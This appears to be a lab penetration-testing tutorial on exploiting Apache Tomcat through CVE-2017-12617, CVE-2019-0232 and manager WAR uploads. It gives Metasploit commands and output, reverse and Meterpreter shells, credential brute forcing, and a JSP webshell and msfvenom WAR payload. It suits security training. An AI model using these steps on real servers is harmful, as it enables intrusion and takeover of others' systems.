Apache Tomcat, often referred to simply as Tomcat, is an open-source web server and servlet container developed by the Apache Software Foundation. This article is looking at the known vulnerabilities in Tomcat, and how to exploit them.
If you would like to test these vulnerabilities in a lab environment, old versions of Tomcat are available here;
https://archive.apache.org/dist/tomcat
Looking in Metasploit, we can see the following exploits are available.
msf6 > grep -v DoS grep -v local search type:exploit name:tomcat
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10 excellent Yes Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
1 exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code Execution
2 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution
5 exploit/multi/http/tomcat_jsp_upload_bypass 2017-10-03 excellent Yes Tomcat RCE via JSP Upload Bypass
CVE-2017-12617: tomcat_jsp_upload_bypass
This vulnerability exists in the following Tomcat versions:
- 9.0.0.M1 to 9.0.0
- 8.5.0 to 8.5.22
- 8.0.0.RC1 to 8.0.46
- 7.0.0 to 7.0.81
In addition to having a vulnerable version of Tomcat, the readonly configuration parameter in web.xml needs to be set to false. This allows HTTP PUT requests to be used which are leveraged as part of the vulnerability.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Testing this against Tomcat version 8.0.24, we can see we get a shell using Metasploit;
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show options
Module options (exploit/multi/http/tomcat_jsp_upload_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.212 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp
loit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the Tomcat installation
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.210 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > run
[*] Started reverse TCP handler on 192.168.1.210:4444
[*] Uploading payload...
[*] Payload executed!
[*] Command shell session 2 opened (192.168.1.210:4444 -> 192.168.1.212:49948) at 2024-02-10 14:11:29 +0000
Shell Banner:
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 8.0>
CVE-2019-0232: tomcat_cgi_cmdlineargs
This vulnerability exists in the following Tomcat versions;
- 9.0.0.M1 to 9.0.17
- 8.5.0 to 8.5.39
- 7.0.0 to 7.0.93
The vulnerability is related to the way the Tomcat AJP (Apache JServ Protocol) connector handles certain HTTP requests. The AJP connector is often used to facilitate communication between a web server, like Apache HTTP Server, and the Tomcat servlet container.
This testing is performed against version 9.0.17. This requires a number of non-default settings.
In WEB.XML add the following;
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
In conf\context.xml change the line:
<Context>
to
<Context privileged="true">
Create the following file: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\bordergate.bat
@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!
Exploit using the Metasploit tomcat_cgi_cmdlineargs module:
use windows/http/tomcat_cgi_cmdlineargs
set RHOSTS 192.168.1.212
set TARGETURI /cgi/bordergate.bat
run
[*] Command Stager progress - 6.95% done (6999/100668 bytes)
[*] Command Stager progress - 13.91% done (13998/100668 bytes)
[*] Command Stager progress - 20.86% done (20997/100668 bytes)
[*] Command Stager progress - 27.81% done (27996/100668 bytes)
[*] Command Stager progress - 34.76% done (34995/100668 bytes)
[*] Command Stager progress - 41.72% done (41994/100668 bytes)
[*] Command Stager progress - 48.67% done (48993/100668 bytes)
[*] Command Stager progress - 55.62% done (55992/100668 bytes)
[*] Command Stager progress - 62.57% done (62991/100668 bytes)
[*] Command Stager progress - 69.53% done (69990/100668 bytes)
[*] Command Stager progress - 76.48% done (76989/100668 bytes)
[*] Command Stager progress - 83.43% done (83988/100668 bytes)
[*] Command Stager progress - 90.38% done (90987/100668 bytes)
[*] Command Stager progress - 97.34% done (97986/100668 bytes)
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Command Stager progress - 100.00% done (100668/100668 bytes)
[!] Make sure to manually cleanup the exe generated by the exploit
[*] Meterpreter session 3 opened (192.168.1.210:4444 -> 192.168.1.212:49853) at 2024-02-10 15:46:07 +0000
War File Upload Exploitation
Being an application server, Tomcat has the ability to host Web Application Resource (WAR) files. A WAR file consists contains all required application resources such as JSP pages, HTML etc.
If we have administrative credentials to either the Tomcat manager web interface, or it’s associated API we can upload malicious code. Metasploit includes a module to brute force common and default credentials, which is shown below.
use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > setg RHOSTS 192.168.1.212
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
[-] 192.168.1.212:8080 - LOGIN FAILED: root:j2deployer (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:OvW*busr1 (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:kdsxc (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:owaspba (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:ADMIN (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:xampp (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.1.212:8080 - Login Successful: tomcat:tomcat
Once we have valid credentials, the tomcat_mgr_deploy or tomcat_mgr_upload Metasploit modules can be used to upload malicious code to the server. Which module we use depends on the roles allocated to the user account.
tomcat_mgr_deploy
This module uses a HTTP POST request to upload a war file. For this to be successful, the target user must have the manager-script role set in tomcat-users.xml
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="tomcat" password="tomcat" roles="manager-script" />
If Tomcat version 8 and above is being targeted, the PATH variable must be set to /manager/text.
use multi/http/tomcat_mgr_deploy
set RHOSTS 192.168.1.212
set RPORT 8080
set PATH /manager/text
set HttpPassword tomcat
set HttpUsername tomcat
set LHOST eth0
set target 2
set payload windows/meterpreter/reverse_tcp
run
[*] Started reverse TCP handler on 192.168.1.210:4444
[*] Using manually select target "Windows Universal"
[*] Uploading 52283 bytes as EpUB23D2sELyXVM6uvnOHMlDUT3P.war ...
[*] Executing /EpUB23D2sELyXVM6uvnOHMlDUT3P/3QPnwWloaXbYofmshS5JwMMb4JUe2I3.jsp...
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Undeploying EpUB23D2sELyXVM6uvnOHMlDUT3P ...
[*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.212:49969) at 2024-02-10 14:43:52 +0000
tomcat_mgr_upload
This module uses a HTTP PUT request to upload a war file. For this to be successful, the target user must have the manager-gui role set.
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="tomcat" password="tomcat" roles="manager-gui" />
We just need to ensure a Windows target and payload is set, as using the default Java target normally fails.
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.212
set RPORT 8080
set PATH /manager/text
set HttpPassword tomcat
set HttpUsername tomcat
set LHOST eth0
set target 1
set payload windows/meterpreter/reverse_tcp
run
[*] Started reverse TCP handler on 192.168.1.210:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying WjPvCVPcUuCfrG0Ae5FtE3Ll...
[*] Executing WjPvCVPcUuCfrG0Ae5FtE3Ll...
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Undeploying WjPvCVPcUuCfrG0Ae5FtE3Ll ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.212:50150) at 2024-02-10 15:02:49 +0000
Manual Exploitation
If the target host is has Anti-Virus software installed, the above modules will most likely fail. We can create a simple reverse shell to get around this.
Copy a simple JSP webshell to your working directory.
cp /usr/share/webshells/jsp/cmdjsp.jsp cmdjsp.jsp
mkdir WEB-INF
Create a file WEB-INF/web.xml, with the following contents:
<?xml
version="1.0" ?>
<web-app
xmlns="https://java.sun.com/xml/ns/j2ee"
xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://java.sun.com/xml/ns/j2ee
https://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmdjsp.jsp</jsp-file>
</servlet>
</web-app>
Package up the WAR file using the jar command.
jar cvf cmd.war WEB-INF cmd.jsp
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 345) (out= 189)(deflated 45%)
adding: cmd.jsp(in = 725) (out= 418)(deflated 42%)
Navigate to the host manager URL (in this case http://192.168.1.212:8080/manager/html) and upload the WAR file we just created.
Navigating to /bordergate/cmdjsp.jsp will then allow us to execute system commands.
MSFVenom can also be used to generate a WAR files.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.131 LPORT=5555 -f war > runme.war
I’ve found when doing this jsp_shell_reverse_tcp is normally reliable, but the other payloads fail for various reasons.
In Conclusion
Tomcat is frequently seen on capture the flag events, often in combination with Local File Inclusion vulnerabilities to assist in remotely enumerating it’s vulnerabilities, and extracting credentials for valid users.
Using an up to date version of Tomcat, disabling the host manager and using complex credentials would mitigate most of these issues.